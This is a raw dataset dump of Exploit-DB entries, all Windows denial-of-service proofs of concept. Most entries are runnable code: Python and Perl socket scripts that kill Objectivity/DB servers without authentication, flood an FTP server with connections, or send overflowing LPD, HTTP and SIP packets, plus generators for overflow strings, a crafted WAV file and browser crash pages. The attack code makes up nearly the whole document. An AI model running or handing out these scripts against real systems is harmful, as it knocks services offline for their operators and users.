deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15988
Description: Objectivity/DB - Lack of Authentication
Type: dos
Platform: windows
Date: 2011-01-14
Author: Jeremy Brown

Exploit:
#!/usr/bin/python
# obj.py
# Objectivity/DB Lack of Authentication Remote Exploit
# Jeremy Brown [0xjbrown41-gmail-com]
# Jan 2011
#
# "Objectivity, Inc. is a leader in distributed, scalable database technology.
# Our patented data management engine and persistent object store is the enabling
# technology powering some of the most complex applications and mission critical
# systems used in government, business and science organizations today."
#
# Objectivity/DB includes many different tools for administration. The
# problem is, anyone can use these tools to perform operations on the host
# running the lock server, advanced multithreaded server, and probably
# it's other servers as well, without any authentication. This design flaw
# puts the host running these servers at risk of potentially unauthorized
# operations being performed on the system, locally or remotely.
#
# This code demostrates a couple of the easiest operations to replicate
# by hand, like killing the lock and am servers. The suite contains lots
# of other admin tools that do various, more interesting tasks with the
# Objectivity/DB, such as oobackup, oonewfd, oodeletefd, oodebug, etc...
#
# Tested on Objectivity/DB 10 running on Windows
#
# Fixed version: N/A, US-CERT coordinated the communication and released
# a vulnerability note after the vendor did not provide additional feedback.
#
# http://www.kb.cert.org/vuls/id/782567
#

import sys
import socket

kill_ooams=(
"\x0d\x03"+
"\x00"*5+
"\x02"+
"\x00"*3+
"\x19\xf0\x92\xed\x89\xf4\xe8\x95\x43\x03"+
"\x00"*15+
"\x61\x62\x63"+
"\x00"+
"\x31\x32\x33\x34"+
"\x00"*3+
"\x05\x8c"+
"\x00"*3+
"\x0d"+
"\x00"*4
)

kill_ools=(
"\x0d\x03"+
"\x00"*5+
"\x77"+
"\x00"*3+
"\x04\xad\xc4\xae\xda\x9e\x48\xd6\x44\x03"+
"\x00"*15
)

if len(sys.argv)<3:
     print "Objectivity/DB Remote Exploit"
     print "Usage: %s <target> <operation>"%sys.argv[0]
     print "\nWhat would you like to do?\n"
     print "[1] Kill the advanced multithreaded server"
     print "[2] Kill the lock server"
     print "For other operations, check out oobackup, oodebug, etc"
     sys.exit(0)

target=sys.argv[1]
op=int(sys.argv[2])

if((op<1)|(op>2)):
     print "Invalid operation"
     sys.exit(1)

if(op==1):
     port=6779
     data=kill_ooams

if(op==2):
     port=6780
     data=kill_ools

cs=target,port

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(cs)

sock.send(data)

sock.close()
Exploit-DB #43596
Description: OBS Studio 20.1.3 - Local Buffer Overflow
Type: dos
Platform: windows
Date: 2018-01-15
Author: ScrR1pTK1dd13

Exploit:
author = '''
   
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScR1pTK1dd13.slammer@gmail.com    # 
                ##############################################
   
# Exploit Title: OBS-Studio-20.1.3 Local Buffer Overflow Zer0Day (SEH Based PoC)
# Date: 2018.01.15
# Exploit Author: Greg Priest
# Version: OBS-Studio-20.1.3
# Tested on: Windows7 x64 HUN/ENG Enterprise
# Software Download Link: https://obsproject.com/download

'''

bug = '''
Vulnerable input field:
<1> Copy printed "AAAAA...." string to clipboard!
<2> Profile -> New
<3> Paste the string in the input then press Ok

'''
junk = "A" * 459
SEH = "BBBB"
nextSEH = "CCCC"
overflow = "D" * 19533

print author
print "String: ", junk + SEH + nextSEH + overflow
print bug
Exploit-DB #893
Description: Ocean FTP Server 1.00 - Denial of Service
Type: dos
Platform: windows
Date: 2005-03-21
Author: GSS IT

Exploit:
#!/usr/bin/perl
###############################
# GSS-IT Research And Security Labs #
###############################
# #
# www.gssit.co.il #
# #
###############################
# Ocean FTP Server Ver 1.00 Denial Of Service POC #
###############################
# Use This PoC For Educational Purposes Only #
###############################
 
  
use Socket;
  

if (($#ARGV) < 2)
{
print("#############################\n");
print("# Ocean FTP Server Ver 1.00 Denial Of Service POC #\n");
print("#############################\n\n");
print("Use : \n\nperl $0 [Host] [Port] [Sleep] \n");
exit
}

print("#############################\n");
print("# Ocean FTP Server Ver 1.00 Denial Of Service POC #\n");
print("#############################\n");


$host = $ARGV[0];
$port = $ARGV[1];
$slp = $ARGV[2];
$proto = getprotobyname('tcp');


for ($i=1; $i<110; $i++)
{
  socket($i, PF_INET, SOCK_STREAM, $proto );
  $dest = sockaddr_in ($port, inet_aton($host));
  if (!(connect($i, $dest)))
  {
   Slp();
  }
 
}

print("==> Unsuccesful <==");
exit;


sub Slp

{

 print("\n\nServer $host Has Been Successfully DoS'ed\n\n");
 print("The Server Will Be Down For $slp Seconds\n\n");
 sleep ($slp);
 
 print("==> Killing Connections ...<==\n");
 for ($j=1; $j<110; $j++)
  {
   shutdown($j,2);
  }
 print ("[#] Back To Work Server Up [#] ");
 exit;
}

# milw0rm.com [2005-03-21]
Exploit-DB #48262
Description: Odin Secure FTP Expert 7.6.3 - 'Site Info' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-03-30
Author: Ivan Marmolejo

Exploit:
# Exploit Title: Odin Secure FTP Expert 7.6.3 - 'Site Info' Denial of Service (PoC)
# Discovery by: Ivan Marmolejo
# Discovery Date: 2020-03-27
# Vendor Homepage: https://odin-secure-ftp-expert.jaleco.com/
# Software Link Download : http://tr.oldversion.com/windows/odin-secure-ftp-expert-7-6-3
# Version : Odin Secure FTP Expert 7.6.3
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Home Single Lenguage (ESP)

Steps to Produce the Crash:

   1.- Run python code: OdinSecureFTP.py
   2.- Copy content to clipboard
   3.- Open "OdinSecureFTPExpert.exe"
   4.- Go to "Trial" > Connect > Quickconnect site
   5.- Paste ClipBoard into the all fields
   6.- Go to Connect
   7.- Crashed

Python "OdinSecureFTP" Code:
   
buffer = "\x41" * 108
f = open ("OdinSecureFTP.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #48136
Description: Odin Secure FTP Expert 7.6.3 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-02-25
Author: berat isler

Exploit:
# Exploit Title : Odin Secure FTP Expert 7.6.3 - Denial of Service (PoC)
# Exploit Author : Berat Isler
# Date : 2020-02-25
# Vendor Homepage : https://odin-secure-ftp-expert.jaleco.com/
# Software Link Download :
http://tr.oldversion.com/windows/odin-secure-ftp-expert-7-6-3
# Version : Odin Secure FTP Expert 7.6.3
# Tested on : Windows 7 32-bit

# First step , run exploit script, it will generate a new file with the
name "bune.txt"
# Then start Odin Secure FTP application and find the "connect" tab . After
that you can click
Quickconnect site tab.
# After that paste the content of "bune.txt" in to the all fields like this
--> "AAAAAA" than click connect button
# Application will be crash .

This is the generated payload code :

#!/usr/bin/python

bune = "A" * 6000
payload = bune
try:
f=open("bune.txt","w")
print "[+] Creating %s bytes payload generated .. .. .." %len(payload)
f.write(payload)
f.close()
print "[+] File created "
except:
print "File cannot be created"
Exploit-DB #3845
Description: Office Viewer OCX 3.2.0.5 - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2007-05-04
Author: shinnai

Exploit:
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/04</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>Office Viewer (OA.ocx v. 3.2.0.5) multiple methods Denial of Service</b>
 url: http://www.officeocx.com/
 price: from ï¿½77.95 (update to last version) to ï¿½1,558.95 (Royalty)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
 Theese methods are vulnerable too:

 <b>DoOleCommand</b>
 <b>FTPDownloadFile</b>
 <b>FTPUploadFile</b>
 <b>HttpUploadFile</b>
 <b>Save</b>
 <b>SaveWebFile</b>
-----------------------------------------------------------------------------

<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' width="405" height="50"></object>

<select style="width: 404px" name="Pucca">
  <option value = "HttpDownloadFile">HttpDownloadFile</option>
  <option value = "Open">Open</option>
  <option value = "OpenWebFile">OpenWebFile</option>
  <option value = "Quoting">Quoting...</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "HttpDownloadFile" then
     argCount = 2
     arg1=String(1000000,"A")
     arg2="defaultV"
     target.HttpDownloadFile arg1, arg2
   elseif Pucca.value = "Open" then
     argCount = 1
     arg1=String(1000000, "A")
     target.Open arg1
   elseif Pucca.value = "OpenWebFile" then
     argCount = 1
     arg1=String(1000000, "A")
     target.OpenWebFile arg1
   else
     MyMsg = MsgBox ("I wanna feel like Iï¿½m somewhere I belong",64 ,"2007/05/04 - Office Viewer 3.2")
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-04]
Exploit-DB #11130
Description: Ofilter Player - 'skin.ini' Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-01-13
Author: Rehan Ahmed

Exploit:
#!/usr/bin/perl
#Exploit Title: Ofilter Player (skin.ini) Local Crash PoC
#Author:Vulnerability Discovered By Rehan Ahmed (rehan@rewterz.com)
#Tested On: WinXP SP2

my $boom="\x41" x 5000;
my $file="skin1.ini"; #C:\Program Files\OfilterPlayer\skin
open($FILE,">$file");
print $FILE $boom;
close($FILE);
print "File Successfully Created\n";
Exploit-DB #30550
Description: Ofilter Player 1.1 - '.wav' Integer Division by Zero
Type: dos
Platform: windows
Date: 2013-12-28
Author: Osanda Malith Jayathissa

Exploit:
<?php
/*
*Title: Ofilter Player 1.1 (.wav) Integer Division by Zero
*Version: 1.1
*Tested on: Windows XP SP2 en
*Vendor: http://www.008soft.com/
*Software Link: http://www.008soft.com/downloads_OfilterPlayer.exe
*E-Mail: OsandaJayathissa@gmail.com
*Bug Discovered by: Osanda Malith 
*Twitter: @OsandaMalith
* /!\ Author is not responsible for any damage you cause
* This POC is for educational purposes only
*/
$poc=
"\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01".
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E".
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22".
"\x40\x4f\x73\x61\x6e\x64\x61\x4d\x61\x6c\x69\x74\x68\x00\x00\x00".
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x74\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";

file_put_contents("ofilterplayer.wav", $poc);
print <<< str
[+] Ofilter Player 1.1 Integer Division by Zero
[+] by Osanda Malith (@OsandaMalith)
[~] File Created "ofilterplayer.wav"
str;
?>
Exploit-DB #17601
Description: Omnicom Alpha 4.0e LPD Server - Denial of Service
Type: dos
Platform: windows
Date: 2011-08-03
Author: Craig Freyman

Exploit:
#!/usr/bin/python
#Title: Omnicom Alpha 4.0e LPD Server DoS
#Author: Craig Freyman (@cd1zz)
#Software Download: http://www.omnicomtech.com/download/bin/lpd.exe
#Tested on: Windows XP SP3 (English), Server 2003 SP2 (English)
#Dates: Bug Found 7/27/2011, Vendor Notified 8/1/2011, Vendor Responded 8/2/2011, Vendor approved release 8/3/2011
#Notes: For this exploit to work, you must know the name of a printer queue on the server. 

import socket,sys,time

if len(sys.argv) < 3:
	print "[-]Usage: %s <target addr> <queue name>" % sys.argv[0]
	sys.exit(0)

target = sys.argv[1]
queue = sys.argv[2]

counter = 1
crash = "\x41" * 7500

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
	while counter<=50:
		print "[*] Left jab "+str(counter)+" times."
		s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
		s.connect((target,515))
		s.send("\x02"+queue+" "+crash+"LF")
		time.sleep(.25)
		counter+=1
except:
    	print "[-] "+target+" has been knocked out with a right hook!"
    	sys.exit(0)
Exploit-DB #20304
Description: Omnicron OmniHTTPd 1.1/2.0 Alpha 1 - 'visiadmin.exe' Denial of Service
Type: dos
Platform: windows
Date: 1999-06-05
Author: Valentin Perelogin

Exploit:
source: https://www.securityfocus.com/bid/1808/info

OmniHTTPD is a web-server offered by Omnicron for the MS Windows platform. One of the CGI utilities it ships with and installs by default contains a bug that could, if exploited, lead to a denial of service condition on host it runs on. When the "visiadmin.exe" program is executed via CGI with the argument "user=guest", it creates temporary files until the hard drive fills. The files then need to be manually removed before anything can be written to the disk. The technical reasons for this behaviour are not known.

http://omni.server/cgi-bin/visadmin.exe?user=guest
Exploit-DB #46195
Description: One Search 1.1.0.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-18
Author: 0xB9

Exploit:
# Exploit Title: One Search 1.1.0.0 - Denial of Service (PoC)
# Date: 1/18/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9PMR5QNS5LTL
# Version: 1.1.0.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "PoC.txt"
# Copy the text from the generated PoC.txt file to clipboard
# Paste the text in the search bar and click search
# App will now crash

buffer = "A" * 950
payload = buffer
try:
    f=open("PoC.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #27553
Description: OneHTTPD 0.7 - Denial of Service
Type: dos
Platform: windows
Date: 2013-08-13
Author: superkojiman

Exploit:
#!/usr/bin/env python
# Exploit Title: onehttpd 0.7 Denial of Service
# Date: 12 Aug 2013
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: https://code.google.com/p/onehttpd/
# Version: onehttpd 0.7
# Tested on: Windows 7 Ultimate English
#            Windows XP SP2 English
#
from socket import *

buf =  ( 
"GET /\xFF HTTP/1.1\r\n" + 
"Host: 192.168.1.143\r\n" + 
"\r\n"
)

s = socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.1.143", 8080))
s.send(buf)
s.close()
Exploit-DB #31522
Description: OneHTTPD 0.8 - Crash (PoC)
Type: dos
Platform: windows
Date: 2014-02-08
Author: Mahmod Mahajna (Mahy)

Exploit:
# Exploit Title: onehttpd 0.8 Crash PoC
# Date: Feb 7,2014
# Exploit Author: Mahmod Mahajna (Mahy)
# Version: 0.8
# Software Link: https://onehttpd.googlecode.com/files/onehttpd-0.8.exe
# Tested on: Windows XP SP3
# Email: m.dofo123@gmail.com
from requests import get,ConnectionError as cerror
from sys import argv
if(len(argv)!=2):
  print '%s host' % argv[0]
else:
  buff = '/'*245
  script,host=argv
  try:
    get('http://'+host+':8080/'+buff)
  except cerror:
    exit(1)
Exploit-DB #17965
Description: OPC Systems.NET 4.00.0048 - Denial of Service
Type: dos
Platform: windows
Date: 2011-10-10
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  OPC Systems.NET
              http://www.opcsystems.com/opc_systems_net.htm
Versions:     <= 4.00.0048
Platforms:    Windows
Bug:          Denial of Service
Exploitation: remote
Date:         10 Oct 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"As a Service Oriented Architecture the OPC Systems Service can connect
to data from OPC Servers, OPC Clients, Visual Studio Applications,
Microsoft Excel, and databases ... breakthrough .NET products for
SCADA, HMI, and plant floor to business solutions to shorten your
development to deployment time."


#######################################################################

======
2) Bug
======


OPCSystemsService.exe can be freezed with CPU at 100% through a
malformed .NET RPC packet.
No additional research performed.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17879.zip

  udpsz -l 2000 -c ".NET\1\0\0\0\0\0\xff\xff\xff\xff\4\0\1\1\x25\0\0\0tcp://127.0.0.1/OPC Systems Interface\6\0\1\1" -T SERVER 58723 0x80


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #9240
Description: OpenH323 Opal SIP Protocol - Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-07-24
Author: Jose Miguel Esparza

Exploit:
#!/usr/bin/env python
#
# OpenH323 Opal SIP Protocol Remote Denial of Service Vulnerability (CVE-2007-4924)
#
# opal228_dos.py by Jose Miguel Esparza
# 2007-10-08 S21sec labs

import sys,socket

if len(sys.argv) != 3:
	sys.exit("Usage: " + sys.argv[0] + " target_host target_port\n")
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE sip:paco@192.168.1.134 SIP/2.0\r\n"+\
		   "Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\r\n"+\
		   "Contact:sip:pepe@192.168.1.133:5060\r\n"+\
		   "Content-Length:-40999990\r\n"+\
		   "Content-Type:application/sdp\r\n"+\
		   "CSeq:4321 INVITE\r\n"+\
		   "From:sip:pepe@192.168.1.133:5060;tag=a48s\r\n"+\
		   "Max-Forwards:70\r\n"+\
       	"To:sip:paco@micasa.com\r\n"+\
       	"Via:SIP/2.0/UDP 192.168.1.133:5060;branch=z9hG4bK74b76\r\n\r\n"		 

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()

# milw0rm.com [2009-07-24]
Exploit-DB #11192
Description: OpenOffice - '.slk' Parsing Null Pointer
Type: dos
Platform: windows
Date: 2010-01-19
Author: Hellcode Research

Exploit:
Product:

OpenOffice

Tested Vulnerable Versions:

3.1.1 and 3.1.0

Vulnerability:

Null Pointer

Description:

Hellcode Research discovered a null pointer vulnerability in Openoffice for
Windows.

Opening a malformed ".slk" file with Openoffice, causes a crash on
"soffice.bin"

PoC:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11192.rar (slk.rar)

Credits:
karak0rsan and murderkey from Hellcode Research

The Computer Cheats (TCC)

Urls:

tcc.hellcode.net

forum.hellcode.net
Exploit-DB #23235
Description: OpenOffice 1.0.1 - Remote Access Denial of Service
Type: dos
Platform: windows
Date: 2003-10-08
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/8794/info

OpenOffice provides functionality so that it can be configured to listen on a designated network port for incoming communications.

OpenOffice is prone to a remote denial of service vulnerability under certain circumstances. The issue presents itself when an attacker connects to a remote OpenOffice session and transmits malicious data to the affected software. The software will apparently fail when handling the malicious data.

C:\Programme\oo1.1.0\program> soffice "-accept=socket,host=<ip>,port=8100;urp;"

===================================================================
C:\Dokumente und Einstellungen\User>telnet 127.0.0.1 8100
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
0
0
0
0
0
0
0
0
0
0
0
0
Exploit-DB #14349
Description: Opera - Canvas Element (Denial of Service)
Type: dos
Platform: windows
Date: 2010-07-12
Author: Pouya Daneshmand

Exploit:
Opera.html
<html>

<body onload="Opera()">

<script language=JavaScript>

function Opera() {

canvas = document.getElementById("canvas");

ctx = canvas.getContext("2d");

ctx.getImageData(0,0,0x20000,0x20000);

}

</script>

<canvas id=canvas width=10 height=10></canvas>

</body>

</html>




Original Advisory:

http://pouya.info/blog/userfiles/vul/OperaCC.pdf